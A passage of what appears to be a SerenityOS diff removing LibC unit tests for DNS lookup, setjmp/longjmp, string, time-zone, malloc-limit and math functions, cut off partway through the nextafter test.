|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <netdb.h>
|
||||
|
||||
TEST_CASE(gethostbyname_should_return_host_not_found)
|
||||
{
|
||||
auto* res = gethostbyname("unknownhostthatdoesntexistandhopefullyneverwill.com");
|
||||
EXPECT_EQ(res, nullptr);
|
||||
EXPECT_EQ(h_errno, HOST_NOT_FOUND);
|
||||
}
|
||||
|
||||
TEST_CASE(gethostbyname)
|
||||
{
|
||||
auto* result = gethostbyname("google.com");
|
||||
EXPECT_NE(result, nullptr);
|
||||
EXPECT_EQ(h_errno, 0);
|
||||
EXPECT_EQ(result->h_aliases[0], nullptr);
|
||||
EXPECT_EQ(result->h_addr_list[1], nullptr);
|
||||
EXPECT_EQ(result->h_addrtype, AF_INET);
|
||||
}
|
||||
|
||||
TEST_CASE(gethostbyname_r_should_return_erange_when_buffer_is_to_small)
|
||||
{
|
||||
constexpr size_t buffer_size = 2;
|
||||
char buffer[buffer_size] = { 0 };
|
||||
int h_errnop;
|
||||
struct hostent ret;
|
||||
struct hostent* result;
|
||||
|
||||
int rc = gethostbyname_r("127.0.0.1", &ret, buffer, buffer_size, &result, &h_errnop);
|
||||
EXPECT_EQ(rc, ERANGE);
|
||||
}
|
||||
|
||||
TEST_CASE(gethostbyname_r_should_return_host_not_found)
|
||||
{
|
||||
constexpr size_t buffer_size = 1024;
|
||||
char buffer[buffer_size] = { 0 };
|
||||
int h_errnop;
|
||||
struct hostent ret;
|
||||
struct hostent* result;
|
||||
|
||||
int rc = gethostbyname_r("unknownhostthatdoesntexistandhopefullyneverwill.com", &ret, buffer, buffer_size, &result, &h_errnop);
|
||||
EXPECT(rc < 0);
|
||||
EXPECT_EQ(h_errnop, HOST_NOT_FOUND);
|
||||
}
|
||||
|
||||
TEST_CASE(gethostbyname_r)
|
||||
{
|
||||
constexpr size_t buffer_size = 1024;
|
||||
char buffer[buffer_size] = { 0 };
|
||||
int h_errnop;
|
||||
struct hostent ret;
|
||||
struct hostent* result;
|
||||
|
||||
int rc = gethostbyname_r("google.com", &ret, buffer, buffer_size, &result, &h_errnop);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(h_errnop, 0);
|
||||
EXPECT_NE(result, nullptr);
|
||||
EXPECT_EQ(result->h_aliases[0], nullptr);
|
||||
EXPECT_EQ(result->h_addr_list[1], nullptr);
|
||||
EXPECT_EQ(result->h_addrtype, AF_INET);
|
||||
}
|
||||
|
||||
TEST_CASE(getaddrinfo_should_find_https)
|
||||
{
|
||||
struct addrinfo hints;
|
||||
struct addrinfo* result;
|
||||
|
||||
memset(&hints, 0, sizeof(struct addrinfo));
|
||||
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
|
||||
int status = getaddrinfo(nullptr, "https", &hints, &result);
|
||||
EXPECT_EQ(status, 0);
|
||||
|
||||
freeaddrinfo(result);
|
||||
}
|
||||
|
||||
TEST_CASE(getaddrinfo_should_not_find_service_that_doesnt_exist)
|
||||
{
|
||||
struct addrinfo hints;
|
||||
struct addrinfo* result;
|
||||
|
||||
memset(&hints, 0, sizeof(struct addrinfo));
|
||||
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
|
||||
int status = getaddrinfo(nullptr, "unknownservicethatdoesntexistandhopefullyneverwill", &hints, &result);
|
||||
EXPECT_EQ(status, EAI_FAIL);
|
||||
|
||||
freeaddrinfo(result);
|
||||
}
|
||||
|
||||
TEST_CASE(getaddrinfo_should_find_googles_ip)
|
||||
{
|
||||
struct addrinfo hints;
|
||||
struct addrinfo* result;
|
||||
|
||||
memset(&hints, 0, sizeof(struct addrinfo));
|
||||
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
int status = getaddrinfo("google.com", nullptr, &hints, &result);
|
||||
EXPECT_EQ(status, 0);
|
||||
|
||||
freeaddrinfo(result);
|
||||
}
|
|
@ -1,151 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <setjmp.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(setjmp)
|
||||
{
|
||||
jmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
if (setjmp(env)) {
|
||||
EXPECT_EQ(set, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
longjmp(env, 1);
|
||||
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
TEST_CASE(setjmp_zero)
|
||||
{
|
||||
jmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
switch (setjmp(env)) {
|
||||
case 0:
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
longjmp(env, 0);
|
||||
VERIFY_NOT_REACHED();
|
||||
|
||||
case 1:
|
||||
EXPECT_EQ(set, 0);
|
||||
break;
|
||||
|
||||
default:
|
||||
VERIFY_NOT_REACHED();
|
||||
};
|
||||
}
|
||||
|
||||
TEST_CASE(setjmp_value)
|
||||
{
|
||||
jmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
switch (setjmp(env)) {
|
||||
case 0:
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
longjmp(env, 0x789ABCDE);
|
||||
VERIFY_NOT_REACHED();
|
||||
|
||||
case 0x789ABCDE:
|
||||
EXPECT_EQ(set, 0);
|
||||
break;
|
||||
|
||||
default:
|
||||
VERIFY_NOT_REACHED();
|
||||
};
|
||||
}
|
||||
|
||||
TEST_CASE(sigsetjmp)
|
||||
{
|
||||
sigjmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
if (sigsetjmp(env, 0)) {
|
||||
EXPECT_EQ(set, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
siglongjmp(env, 1);
|
||||
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
TEST_CASE(sigsetjmp_zero)
|
||||
{
|
||||
sigjmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
switch (sigsetjmp(env, 0)) {
|
||||
case 0:
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
siglongjmp(env, 0);
|
||||
VERIFY_NOT_REACHED();
|
||||
|
||||
case 1:
|
||||
EXPECT_EQ(set, 0);
|
||||
break;
|
||||
|
||||
default:
|
||||
VERIFY_NOT_REACHED();
|
||||
};
|
||||
}
|
||||
|
||||
TEST_CASE(sigsetjmp_value)
|
||||
{
|
||||
sigjmp_buf env;
|
||||
int volatile set = 1;
|
||||
|
||||
switch (sigsetjmp(env, 0)) {
|
||||
case 0:
|
||||
EXPECT_EQ(set, 1);
|
||||
set = 0;
|
||||
siglongjmp(env, 0x789ABCDE);
|
||||
VERIFY_NOT_REACHED();
|
||||
|
||||
case 0x789ABCDE:
|
||||
EXPECT_EQ(set, 0);
|
||||
break;
|
||||
|
||||
default:
|
||||
VERIFY_NOT_REACHED();
|
||||
};
|
||||
}
|
||||
|
||||
TEST_CASE(sigsetjmp_signal_mask)
|
||||
{
|
||||
sigjmp_buf env;
|
||||
|
||||
sigset_t alternative_sigset;
|
||||
sigfillset(&alternative_sigset);
|
||||
|
||||
sigset_t initial_sigset;
|
||||
sigprocmask(SIG_SETMASK, nullptr, &initial_sigset);
|
||||
|
||||
EXPECT_NE(memcmp(&alternative_sigset, &initial_sigset, sizeof(sigset_t)), 0);
|
||||
|
||||
if (sigsetjmp(env, 1)) {
|
||||
sigprocmask(SIG_SETMASK, nullptr, &alternative_sigset);
|
||||
EXPECT_EQ(memcmp(&alternative_sigset, &initial_sigset, sizeof(sigset_t)), 0);
|
||||
return;
|
||||
}
|
||||
|
||||
sigprocmask(SIG_SETMASK, &alternative_sigset, nullptr);
|
||||
siglongjmp(env, 1);
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
|
@ -1,31 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Gunnar Beutner <gbeutner@serenityos.org>
|
||||
* Copyright (c) 2022, Daniel Bertalan <dani@danielbertalan.dev>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(strerror_r_basic)
|
||||
{
|
||||
EXPECT_EQ(strerror_r(1000, nullptr, 0), EINVAL);
|
||||
EXPECT_EQ(strerror_r(EFAULT, nullptr, 0), ERANGE);
|
||||
char buf[64];
|
||||
EXPECT_EQ(strerror_r(EFAULT, buf, sizeof(buf)), 0);
|
||||
EXPECT_EQ(strcmp(buf, "Bad address"), 0);
|
||||
}
|
||||
|
||||
TEST_CASE(strtok_r_delimiters_only)
|
||||
{
|
||||
char dummy[] = "a;";
|
||||
char input[] = ";;;;;;";
|
||||
char* saved_str = dummy;
|
||||
|
||||
EXPECT_EQ(strtok_r(input, ";", &saved_str), nullptr);
|
||||
EXPECT_EQ(strtok_r(nullptr, ";", &saved_str), nullptr);
|
||||
// The string to which `saved_str` initially points to shouldn't be modified.
|
||||
EXPECT_EQ(strcmp(dummy, "a;"), 0);
|
||||
}
|
|
@ -1,121 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/StringView.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <time.h>
|
||||
|
||||
auto const expected_epoch = "Thu Jan 1 00:00:00 1970\n"sv;
|
||||
|
||||
class TimeZoneGuard {
|
||||
public:
|
||||
TimeZoneGuard()
|
||||
: m_tz(getenv("TZ"))
|
||||
{
|
||||
}
|
||||
|
||||
explicit TimeZoneGuard(char const* tz)
|
||||
: m_tz(getenv("TZ"))
|
||||
{
|
||||
setenv("TZ", tz, 1);
|
||||
}
|
||||
|
||||
~TimeZoneGuard()
|
||||
{
|
||||
if (m_tz)
|
||||
setenv("TZ", m_tz, 1);
|
||||
else
|
||||
unsetenv("TZ");
|
||||
}
|
||||
|
||||
private:
|
||||
char const* m_tz { nullptr };
|
||||
};
|
||||
|
||||
TEST_CASE(asctime)
|
||||
{
|
||||
TimeZoneGuard guard("UTC");
|
||||
|
||||
time_t epoch = 0;
|
||||
auto result = asctime(localtime(&epoch));
|
||||
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
|
||||
}
|
||||
|
||||
TEST_CASE(asctime_r)
|
||||
{
|
||||
TimeZoneGuard guard("UTC");
|
||||
|
||||
char buffer[26] {};
|
||||
time_t epoch = 0;
|
||||
auto result = asctime_r(localtime(&epoch), buffer);
|
||||
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
|
||||
}
|
||||
|
||||
TEST_CASE(ctime)
|
||||
{
|
||||
TimeZoneGuard guard("UTC");
|
||||
|
||||
time_t epoch = 0;
|
||||
auto result = ctime(&epoch);
|
||||
|
||||
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
|
||||
}
|
||||
|
||||
TEST_CASE(ctime_r)
|
||||
{
|
||||
TimeZoneGuard guard("UTC");
|
||||
|
||||
char buffer[26] {};
|
||||
time_t epoch = 0;
|
||||
auto result = ctime_r(&epoch, buffer);
|
||||
|
||||
EXPECT_EQ(expected_epoch, StringView(result, strlen(result)));
|
||||
}
|
||||
|
||||
TEST_CASE(tzset)
|
||||
{
|
||||
TimeZoneGuard guard;
|
||||
|
||||
auto set_tz = [](char const* tz) {
|
||||
setenv("TZ", tz, 1);
|
||||
tzset();
|
||||
};
|
||||
|
||||
set_tz("UTC");
|
||||
EXPECT_EQ(timezone, 0);
|
||||
EXPECT_EQ(altzone, 0);
|
||||
EXPECT_EQ(daylight, 0);
|
||||
EXPECT_EQ(tzname[0], "UTC"sv);
|
||||
EXPECT_EQ(tzname[1], "UTC"sv);
|
||||
|
||||
set_tz("America/New_York");
|
||||
EXPECT_EQ(timezone, 5 * 60 * 60);
|
||||
EXPECT_EQ(altzone, 4 * 60 * 60);
|
||||
EXPECT_EQ(daylight, 1);
|
||||
EXPECT_EQ(tzname[0], "EST"sv);
|
||||
EXPECT_EQ(tzname[1], "EDT"sv);
|
||||
|
||||
set_tz("America/Phoenix");
|
||||
EXPECT_EQ(timezone, 7 * 60 * 60);
|
||||
EXPECT_EQ(altzone, 7 * 60 * 60);
|
||||
EXPECT_EQ(daylight, 0);
|
||||
EXPECT_EQ(tzname[0], "MST"sv);
|
||||
EXPECT_EQ(tzname[1], "MST"sv);
|
||||
|
||||
set_tz("America/Asuncion");
|
||||
EXPECT_EQ(timezone, 4 * 60 * 60);
|
||||
EXPECT_EQ(altzone, 3 * 60 * 60);
|
||||
EXPECT_EQ(daylight, 1);
|
||||
EXPECT_EQ(tzname[0], "-04"sv);
|
||||
EXPECT_EQ(tzname[1], "-03"sv);
|
||||
|
||||
set_tz("CET");
|
||||
EXPECT_EQ(timezone, -1 * 60 * 60);
|
||||
EXPECT_EQ(altzone, -2 * 60 * 60);
|
||||
EXPECT_EQ(daylight, 1);
|
||||
EXPECT_EQ(tzname[0], "CET"sv);
|
||||
EXPECT_EQ(tzname[1], "CEST"sv);
|
||||
}
|
|
@ -1,40 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <mallocdefs.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
TEST_CASE(malloc_limits)
|
||||
{
|
||||
EXPECT_NO_CRASH("Allocation of 0 size should succeed at allocation and release", [] {
|
||||
errno = 0;
|
||||
void* ptr = malloc(0);
|
||||
EXPECT_EQ(errno, 0);
|
||||
free(ptr);
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
|
||||
EXPECT_NO_CRASH("Allocation of the maximum `size_t` value should fails with `ENOMEM`", [] {
|
||||
errno = 0;
|
||||
void* ptr = malloc(NumericLimits<size_t>::max());
|
||||
EXPECT_EQ(errno, ENOMEM);
|
||||
EXPECT_EQ(ptr, nullptr);
|
||||
free(ptr);
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
|
||||
EXPECT_NO_CRASH("Allocation of the maximum `size_t` value that does not overflow should fails with `ENOMEM`", [] {
|
||||
errno = 0;
|
||||
void* ptr = malloc(NumericLimits<size_t>::max() - ChunkedBlock::block_size - sizeof(BigAllocationBlock));
|
||||
EXPECT_EQ(errno, ENOMEM);
|
||||
EXPECT_EQ(ptr, nullptr);
|
||||
free(ptr);
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
|
@ -1,342 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2021, Andreas Kling <kling@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Platform.h>
|
||||
|
||||
#if defined(AK_COMPILER_CLANG)
|
||||
# pragma clang optimize off
|
||||
#else
|
||||
# pragma GCC optimize("O0")
|
||||
#endif
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <float.h>
|
||||
#include <math.h>
|
||||
|
||||
TEST_CASE(atan2)
|
||||
{
|
||||
EXPECT_APPROXIMATE(atan2(-1, -0.0e0), -M_PI_2);
|
||||
EXPECT_APPROXIMATE(atan2(-0.0e0, -1), -M_PI);
|
||||
EXPECT_APPROXIMATE(atan2(0.0e0, -1), M_PI);
|
||||
EXPECT_APPROXIMATE(atan2(-0.0e0, 1), -0.0e0);
|
||||
EXPECT_APPROXIMATE(atan2(0.0e0, 1), 0.0e0);
|
||||
}
|
||||
|
||||
TEST_CASE(trig)
|
||||
{
|
||||
EXPECT_APPROXIMATE(sin(1234), 0.601928);
|
||||
EXPECT_APPROXIMATE(cos(1234), -0.798551);
|
||||
EXPECT_APPROXIMATE(tan(1234), -0.753775);
|
||||
EXPECT_APPROXIMATE(sqrt(1234), 35.128336);
|
||||
EXPECT_APPROXIMATE(sin(-1), -0.8414709848078965);
|
||||
EXPECT_APPROXIMATE(cos(-1), 0.5403023058681398);
|
||||
EXPECT_APPROXIMATE(tan(-1), -1.5574077246549023);
|
||||
EXPECT(isnan(sqrt(-1)));
|
||||
EXPECT(isnan(asin(1.1)));
|
||||
EXPECT(isnan(asin(-1.1)));
|
||||
EXPECT_APPROXIMATE(asin(0), 0.0);
|
||||
EXPECT_APPROXIMATE(asin(0.01), 0.01);
|
||||
EXPECT_APPROXIMATE(asin(0.1), 0.100167);
|
||||
EXPECT_APPROXIMATE(asin(0.3), 0.304693);
|
||||
EXPECT_APPROXIMATE(asin(0.499), 0.522444);
|
||||
EXPECT_APPROXIMATE(asin(0.5), 0.523599);
|
||||
EXPECT_APPROXIMATE(asin(0.501), 0.524754);
|
||||
EXPECT_APPROXIMATE(asin(0.9), 1.119770);
|
||||
EXPECT_APPROXIMATE(asin(0.99), 1.429257);
|
||||
EXPECT_APPROXIMATE(asin(1.0), 1.570796);
|
||||
EXPECT_APPROXIMATE(atan(0), 0.0);
|
||||
EXPECT_APPROXIMATE(atan(0.5), 0.463648);
|
||||
EXPECT_APPROXIMATE(atan(-0.5), -0.463648);
|
||||
EXPECT_APPROXIMATE(atan(5.5), 1.390943);
|
||||
EXPECT_APPROXIMATE(atan(-5.5), -1.390943);
|
||||
EXPECT_APPROXIMATE(atan(555.5), 1.568996);
|
||||
}
|
||||
|
||||
TEST_CASE(exponents)
|
||||
{
|
||||
struct values {
|
||||
double x;
|
||||
double exp;
|
||||
double sinh;
|
||||
double cosh;
|
||||
double tanh;
|
||||
};
|
||||
|
||||
values values[8] {
|
||||
{ 1.500000, 4.481689, 2.129279, 2.352410, 0.905148 },
|
||||
{ 20.990000, 1305693298.670892, 652846649.335446, 652846649.335446, 1.000000 },
|
||||
{ 20.010000, 490041186.687082, 245020593.343541, 245020593.343541, 1.000000 },
|
||||
{ 0.000000, 1.000000, 0.000000, 1.000000, 0.000000 },
|
||||
{ 0.010000, 1.010050, 0.010000, 1.000050, 0.010000 },
|
||||
{ -0.010000, 0.990050, -0.010000, 1.000050, -0.010000 },
|
||||
{ -1.000000, 0.367879, -1.175201, 1.543081, -0.761594 },
|
||||
{ -17.000000, 0.000000, -12077476.376788, 12077476.376788, -1.000000 },
|
||||
};
|
||||
for (auto& v : values) {
|
||||
EXPECT_APPROXIMATE(exp(v.x), v.exp);
|
||||
EXPECT_APPROXIMATE(sinh(v.x), v.sinh);
|
||||
EXPECT_APPROXIMATE(cosh(v.x), v.cosh);
|
||||
EXPECT_APPROXIMATE(tanh(v.x), v.tanh);
|
||||
}
|
||||
EXPECT_EQ(exp(1000), __builtin_huge_val());
|
||||
}
|
||||
|
||||
TEST_CASE(logarithms)
|
||||
{
|
||||
EXPECT(isnan(log(-1)));
|
||||
EXPECT(log(0) < -1000000);
|
||||
EXPECT_APPROXIMATE(log(0.5), -0.693147);
|
||||
EXPECT_APPROXIMATE(log(1.1), 0.095310);
|
||||
EXPECT_APPROXIMATE(log(5), 1.609438);
|
||||
EXPECT_APPROXIMATE(log(5.5), 1.704748);
|
||||
EXPECT_APPROXIMATE(log(500), 6.214608);
|
||||
EXPECT_APPROXIMATE(log2(5), 2.321928);
|
||||
EXPECT_APPROXIMATE(log10(5), 0.698970);
|
||||
}
|
||||
|
||||
union Extractor {
|
||||
explicit Extractor(double d)
|
||||
: d(d)
|
||||
{
|
||||
}
|
||||
Extractor(unsigned sign, unsigned exponent, unsigned long long mantissa)
|
||||
: mantissa(mantissa)
|
||||
, exponent(exponent)
|
||||
, sign(sign)
|
||||
{
|
||||
}
|
||||
struct {
|
||||
unsigned long long mantissa : 52;
|
||||
unsigned exponent : 11;
|
||||
unsigned sign : 1;
|
||||
};
|
||||
double d;
|
||||
|
||||
bool operator==(Extractor const& other) const
|
||||
{
|
||||
return other.sign == sign && other.exponent == exponent && other.mantissa == mantissa;
|
||||
}
|
||||
};
|
||||
namespace AK {
|
||||
template<>
|
||||
struct Formatter<Extractor> : StandardFormatter {
|
||||
ErrorOr<void> format(FormatBuilder& builder, Extractor const& value)
|
||||
{
|
||||
TRY(builder.put_literal("{"sv));
|
||||
TRY(builder.put_u64(value.sign));
|
||||
TRY(builder.put_literal(", "sv));
|
||||
TRY(builder.put_u64(value.exponent, 16, true));
|
||||
TRY(builder.put_literal(", "sv));
|
||||
TRY(builder.put_u64(value.mantissa, 16, true));
|
||||
TRY(builder.put_literal("}"sv));
|
||||
return {};
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
static Extractor nextafter_translator(Extractor x, Extractor target)
|
||||
{
|
||||
return Extractor(nextafter(x.d, target.d));
|
||||
}
|
||||
|
||||
TEST_CASE(nextafter)
|
||||
{
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x1, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe848200000000)), Extractor(0x0, 0x3ff, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe847e00000000)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x2));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848200000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe8481ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe847e00000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe847dffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x1, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x3ff, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x3ff, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x1, 0x7fe, 0xffffffffffffe));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x1, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xffffffffffffe));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x1, 0x0)), Extractor(0x0, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x0, 0x1)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d783fc000000)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d78404000000)), Extractor(0x1, 0x3ff, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d783fc000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d783fbffffff));
|
||||
